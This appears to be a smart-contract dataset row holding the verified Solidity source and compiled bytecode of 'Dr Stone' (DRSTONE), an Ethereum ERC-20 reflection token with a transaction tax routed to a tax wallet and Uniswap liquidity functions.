fd5b60008211610c2f57600080fd5b600160a060020a03831660009081526002602052604090205482810111610c5557600080fd5b600160a060020a033316600090815260026020526040902054610c7e908363ffffffff610e8a16565b600160a060020a033381166000908152600260205260408082209390935590851681522054610cb3908363ffffffff610e9c16565b600160a060020a0380851660008181526002602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b60015460009060a060020a900460ff1615610d2e57600080fd5b600160a060020a03338116600090815260036020908152604080832093871683529290522054610d64908363ffffffff610e9c16565b600160a060020a0333811660008181526003602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60015433600160a060020a03908116911614610e1657600080fd5b600160a060020a0381161515610e2b57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03838116918217928390559091167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600082821115610e9657fe5b50900390565b600082820183811015610eab57fe5b93925050505600a165627a7a7230582081b994fe442a1933f444b1a65fe5ed5ab477e8c79aad237f4f0ad4ccca4243c00029 | {"success": true, "error": null, "results": {}} | 10,591 |
0x2523CA97f32Dd29f4BC91B5b80D65681F2Ac826C | /**
*Submitted for verification at Etherscan.io on 2021-11-12
*/
//SPDX-License-Identifier: MIT
// Telegram: t.me/drstoneinu
pragma solidity ^0.8.7;
uint256 constant INITIAL_TAX=9;
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="DRSTONE";
string constant TOKEN_NAME="Dr Stone";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract DrStone is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(33);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100f75760003560e01c806370a082311161008a5780639e752b95116100595780639e752b95146102ed578063a9059cbb14610316578063dd62ed3e14610353578063f429389014610390576100fe565b806370a0823114610243578063715018a6146102805780638da5cb5b1461029757806395d89b41146102c2576100fe565b8063293230b8116100c6578063293230b8146101d3578063313ce567146101ea5780633e07ce5b1461021557806351bc3c851461022c576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a7565b6040516101259190612492565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190612032565b6103e4565b6040516101629190612477565b60405180910390f35b34801561017757600080fd5b50610180610402565b60405161018d9190612614565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611fdf565b610426565b6040516101ca9190612477565b60405180910390f35b3480156101df57600080fd5b506101e86104ff565b005b3480156101f657600080fd5b506101ff6109f9565b60405161020c9190612689565b60405180910390f35b34801561022157600080fd5b5061022a610a02565b005b34801561023857600080fd5b50610241610a88565b005b34801561024f57600080fd5b5061026a60048036038101906102659190611f45565b610b02565b6040516102779190612614565b60405180910390f35b34801561028c57600080fd5b50610295610b53565b005b3480156102a357600080fd5b506102ac610ca6565b6040516102b991906123a9565b60405180910390f35b3480156102ce57600080fd5b506102d7610ccf565b6040516102e49190612492565b60405180910390f35b3480156102f957600080fd5b50610314600480360381019061030f919061209f565b610d0c565b005b34801561032257600080fd5b5061033d60048036038101906103389190612032565b610d84565b60405161034a9190612477565b60405180910390f35b34801561035f57600080fd5b5061037a60048036038101906103759190611f9f565b610da2565b6040516103879190612614565b60405180910390f35b34801561039c57600080fd5b506103a5610e29565b005b60606040518060400160405280600881526020017f44722053746f6e65000000000000000000000000000000000000000000000000815250905090565b60006103f86103f1610ee5565b8484610eed565b6001905092915050565b60006006600a61041291906127d3565b6305f5e10061042191906128f1565b905090565b60006104338484846110b8565b6104f48461043f610ee5565b6104ef85604051806060016040528060288152602001612e0b60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104a5610ee5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114719092919063ffffffff16565b610eed565b600190509392505050565b610507610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461056057600080fd5b600c60149054906101000a900460ff16156105b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a790612514565b60405180910390fd5b6105f930600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006600a6105e591906127d3565b6305f5e1006105f491906128f1565b610eed565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561066157600080fd5b505afa158015610675573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106999190611f72565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561071d57600080fd5b505afa158015610731573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107559190611f72565b6040518363ffffffff1660e01b81526004016107729291906123c4565b602060405180830381600087803b15801561078c57600080fd5b505af11580156107a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c49190611f72565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061084d30610b02565b600080610858610ca6565b426040518863ffffffff1660e01b815260040161087a96959493929190612416565b6060604051808303818588803b15801561089357600080fd5b505af11580156108a7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108cc91906120cc565b5050506001600c60166101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff021916908315150217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016109a49291906123ed565b602060405180830381600087803b1580156109be57600080fd5b505af11580156109d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f69190612072565b50565b60006006905090565b610a0a610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6357600080fd5b6006600a610a7191906127d3565b6305f5e100610a8091906128f1565b600a81905550565b610a90610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae957600080fd5b6000610af430610b02565b9050610aff816114d5565b50565b6000610b4c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175d565b9050919050565b610b5b610ee5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdf90612594565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f445253544f4e4500000000000000000000000000000000000000000000000000815250905090565b610d14610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d6d57600080fd5b60098110610d7a57600080fd5b8060088190555050565b6000610d98610d91610ee5565b84846110b8565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e31610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8a57600080fd5b6000479050610e98816117cb565b50565b6000610edd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611837565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f54906125f4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc4906124f4565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ab9190612614565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611128576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111f906125d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611198576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118f906124b4565b60405180910390fd5b600081116111db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d2906125b4565b60405180910390fd5b6111e3610ca6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112515750611221610ca6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561146157600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113015750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156113575750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113a157600a5481106113a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139790612554565b60405180910390fd5b5b60006113ac30610b02565b9050600c60159054906101000a900460ff161580156114195750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156114315750600c60169054906101000a900460ff165b1561145f5761143f816114d5565b6000479050670de0b6b3a7640000811061145d5761145c476117cb565b5b505b505b61146c83838361189a565b505050565b60008383111582906114b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b09190612492565b60405180910390fd5b50600083856114c8919061294b565b9050809150509392505050565b6001600c60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561150d5761150c612aa6565b5b60405190808252806020026020018201604052801561153b5781602001602082028036833780820191505090505b509050308160008151811061155357611552612a77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156115f557600080fd5b505afa158015611609573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061162d9190611f72565b8160018151811061164157611640612a77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506116a830600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610eed565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161170c95949392919061262f565b600060405180830381600087803b15801561172657600080fd5b505af115801561173a573d6000803e3d6000fd5b50505050506000600c60156101000a81548160ff02191690831515021790555050565b60006005548211156117a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179b906124d4565b60405180910390fd5b60006117ae6118aa565b90506117c38184610e9b90919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611833573d6000803e3d6000fd5b5050565b6000808311829061187e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118759190612492565b60405180910390fd5b506000838561188d919061274f565b9050809150509392505050565b6118a58383836118d5565b505050565b60008060006118b7611aa0565b915091506118ce8183610e9b90919063ffffffff16565b9250505090565b6000806000806000806118e787611b3b565b95509550955095509550955061194586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ba390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119da85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bed90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a2681611c4b565b611a308483611d08565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a8d9190612614565b60405180910390a3505050505050505050565b6000806000600554905060006006600a611aba91906127d3565b6305f5e100611ac991906128f1565b9050611afc6006600a611adc91906127d3565b6305f5e100611aeb91906128f1565b600554610e9b90919063ffffffff16565b821015611b2e576005546006600a611b1491906127d3565b6305f5e100611b2391906128f1565b935093505050611b37565b81819350935050505b9091565b6000806000806000806000806000611b588a600754600854611d42565b9250925092506000611b686118aa565b90506000806000611b7b8e878787611dd8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611be583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611471565b905092915050565b6000808284611bfc91906126f9565b905083811015611c41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3890612534565b60405180910390fd5b8091505092915050565b6000611c556118aa565b90506000611c6c8284611e6190919063ffffffff16565b9050611cc081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bed90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611d1d82600554611ba390919063ffffffff16565b600581905550611d3881600654611bed90919063ffffffff16565b6006819055505050565b600080600080611d6e6064611d60888a611e6190919063ffffffff16565b610e9b90919063ffffffff16565b90506000611d986064611d8a888b611e6190919063ffffffff16565b610e9b90919063ffffffff16565b90506000611dc182611db3858c611ba390919063ffffffff16565b611ba390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611df18589611e6190919063ffffffff16565b90506000611e088689611e6190919063ffffffff16565b90506000611e1f8789611e6190919063ffffffff16565b90506000611e4882611e3a8587611ba390919063ffffffff16565b611ba390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e745760009050611ed6565b60008284611e8291906128f1565b9050828482611e91919061274f565b14611ed1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec890612574565b60405180910390fd5b809150505b92915050565b600081359050611eeb81612dc5565b92915050565b600081519050611f0081612dc5565b92915050565b600081519050611f1581612ddc565b92915050565b600081359050611f2a81612df3565b92915050565b600081519050611f3f81612df3565b92915050565b600060208284031215611f5b57611f5a612ad5565b5b6000611f6984828501611edc565b91505092915050565b600060208284031215611f8857611f87612ad5565b5b6000611f9684828501611ef1565b91505092915050565b60008060408385031215611fb657611fb5612ad5565b5b6000611fc485828601611edc565b9250506020611fd585828601611edc565b9150509250929050565b600080600060608486031215611ff857611ff7612ad5565b5b600061200686828701611edc565b935050602061201786828701611edc565b925050604061202886828701611f1b565b9150509250925092565b6000806040838503121561204957612048612ad5565b5b600061205785828601611edc565b925050602061206885828601611f1b565b9150509250929050565b60006020828403121561208857612087612ad5565b5b600061209684828501611f06565b91505092915050565b6000602082840312156120b5576120b4612ad5565b5b60006120c384828501611f1b565b91505092915050565b6000806000606084860312156120e5576120e4612ad5565b5b60006120f386828701611f30565b935050602061210486828701611f30565b925050604061211586828701611f30565b9150509250925092565b600061212b8383612137565b60208301905092915050565b6121408161297f565b82525050565b61214f8161297f565b82525050565b6000612160826126b4565b61216a81856126d7565b9350612175836126a4565b8060005b838110156121a657815161218d888261211f565b9750612198836126ca565b925050600181019050612179565b5085935050505092915050565b6121bc81612991565b82525050565b6121cb816129d4565b82525050565b60006121dc826126bf565b6121e681856126e8565b93506121f68185602086016129e6565b6121ff81612ada565b840191505092915050565b60006122176023836126e8565b915061222282612af8565b604082019050919050565b600061223a602a836126e8565b915061224582612b47565b604082019050919050565b600061225d6022836126e8565b915061226882612b96565b604082019050919050565b60006122806017836126e8565b915061228b82612be5565b602082019050919050565b60006122a3601b836126e8565b91506122ae82612c0e565b602082019050919050565b60006122c6601a836126e8565b91506122d182612c37565b602082019050919050565b60006122e96021836126e8565b91506122f482612c60565b604082019050919050565b600061230c6020836126e8565b915061231782612caf565b602082019050919050565b600061232f6029836126e8565b915061233a82612cd8565b604082019050919050565b60006123526025836126e8565b915061235d82612d27565b604082019050919050565b60006123756024836126e8565b915061238082612d76565b604082019050919050565b612394816129bd565b82525050565b6123a3816129c7565b82525050565b60006020820190506123be6000830184612146565b92915050565b60006040820190506123d96000830185612146565b6123e66020830184612146565b9392505050565b60006040820190506124026000830185612146565b61240f602083018461238b565b9392505050565b600060c08201905061242b6000830189612146565b612438602083018861238b565b61244560408301876121c2565b61245260608301866121c2565b61245f6080830185612146565b61246c60a083018461238b565b979650505050505050565b600060208201905061248c60008301846121b3565b92915050565b600060208201905081810360008301526124ac81846121d1565b905092915050565b600060208201905081810360008301526124cd8161220a565b9050919050565b600060208201905081810360008301526124ed8161222d565b9050919050565b6000602082019050818103600083015261250d81612250565b9050919050565b6000602082019050818103600083015261252d81612273565b9050919050565b6000602082019050818103600083015261254d81612296565b9050919050565b6000602082019050818103600083015261256d816122b9565b9050919050565b6000602082019050818103600083015261258d816122dc565b9050919050565b600060208201905081810360008301526125ad816122ff565b9050919050565b600060208201905081810360008301526125cd81612322565b9050919050565b600060208201905081810360008301526125ed81612345565b9050919050565b6000602082019050818103600083015261260d81612368565b9050919050565b6000602082019050612629600083018461238b565b92915050565b600060a082019050612644600083018861238b565b61265160208301876121c2565b81810360408301526126638186612155565b90506126726060830185612146565b61267f608083018461238b565b9695505050505050565b600060208201905061269e600083018461239a565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612704826129bd565b915061270f836129bd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561274457612743612a19565b5b828201905092915050565b600061275a826129bd565b9150612765836129bd565b92508261277557612774612a48565b5b828204905092915050565b6000808291508390505b60018511156127ca578086048111156127a6576127a5612a19565b5b60018516156127b55780820291505b80810290506127c385612aeb565b945061278a565b94509492505050565b60006127de826129bd565b91506127e9836129c7565b92506128167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461281e565b905092915050565b60008261282e57600190506128ea565b8161283c57600090506128ea565b8160018114612852576002811461285c5761288b565b60019150506128ea565b60ff84111561286e5761286d612a19565b5b8360020a91508482111561288557612884612a19565b5b506128ea565b5060208310610133831016604e8410600b84101617156128c05782820a9050838111156128bb576128ba612a19565b5b6128ea565b6128cd8484846001612780565b925090508184048111156128e4576128e3612a19565b5b81810290505b9392505050565b60006128fc826129bd565b9150612907836129bd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156129405761293f612a19565b5b828202905092915050565b6000612956826129bd565b9150612961836129bd565b